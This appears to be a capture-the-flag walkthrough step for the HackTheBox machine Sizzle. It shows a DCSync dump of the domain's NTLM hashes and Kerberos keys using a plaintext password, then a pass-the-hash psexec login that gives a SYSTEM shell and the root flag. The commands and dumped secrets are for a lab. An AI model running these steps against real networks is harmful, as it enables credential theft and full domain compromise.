35-GetNTAuthority

Now as we discussed in 25-Bloodhound > Exploit

we ll use dcsync attack

➜  Sizzle impacket-secretsdump -just-dc mrlky:Football#7@10.10.10.103
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:296ec447eee58283143efbd5d39408c8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
amanda:1104:aad3b435b51404eeaad3b435b51404ee:7d0516ea4b6ed084f3fdf71c47d9beb3:::
mrlky:1603:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
sizzler:1604:aad3b435b51404eeaad3b435b51404ee:d79f820afad0cbc828d79e16a6f890de:::
SIZZLE$:1001:aad3b435b51404eeaad3b435b51404ee:0b7d45aa4225031b384e4c29bffea440:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:e562d64208c7df80b496af280603773ea7d7eeb93ef715392a8258214933275d
Administrator:aes128-cts-hmac-sha1-96:45b1a7ed336bafe1f1e0c1ab666336b3
Administrator:des-cbc-md5:ad7afb706715e964
krbtgt:aes256-cts-hmac-sha1-96:0fcb9a54f68453be5dd01fe555cace13e99def7699b85deda866a71a74e9391e
krbtgt:aes128-cts-hmac-sha1-96:668b69e6bb7f76fa1bcd3a638e93e699
krbtgt:des-cbc-md5:866db35eb9ec5173
amanda:aes256-cts-hmac-sha1-96:60ef71f6446370bab3a52634c3708ed8a0af424fdcb045f3f5fbde5ff05221eb
amanda:aes128-cts-hmac-sha1-96:48d91184cecdc906ca7a07ccbe42e061
amanda:des-cbc-md5:70ba677a4c1a2adf
mrlky:aes256-cts-hmac-sha1-96:b42493c2e8ef350d257e68cc93a155643330c6b5e46a931315c2e23984b11155
mrlky:aes128-cts-hmac-sha1-96:3daab3d6ea94d236b44083309f4f3db0
mrlky:des-cbc-md5:02f1a4da0432f7f7
sizzler:aes256-cts-hmac-sha1-96:85b437e31c055786104b514f98fdf2a520569174cbfc7ba2c895b0f05a7ec81d
sizzler:aes128-cts-hmac-sha1-96:e31015d07e48c21bbd72955641423955
sizzler:des-cbc-md5:5d51d30e68d092d9
SIZZLE$:aes256-cts-hmac-sha1-96:fe409f0bfb0a96c5c9c3670d6b62accb722baca1777ecba788615eff4b156550
SIZZLE$:aes128-cts-hmac-sha1-96:3e92d80809c44a220338e4007b4a3a05
SIZZLE$:des-cbc-md5:e0f1a1f40df2b0ba
[*] Cleaning up... 

Getting admin shell

➜  Sizzle impacket-psexec sizzle.htb/administrator@10.10.10.103 -hashes aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.10.103.....
[*] Found writable share ADMIN$
[*] Uploading file kpWOvpDD.exe
[*] Opening SVCManager on 10.10.10.103.....
[*] Creating service fsrX on 10.10.10.103.....
[*] Starting service fsrX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> cd C:/users/administrator

C:\Users\administrator> cd Desktop

C:\Users\administrator\Desktop> type root.txt
f09ee952e66a923e3091fa15e5e153b0

C:\Users\administrator\Desktop>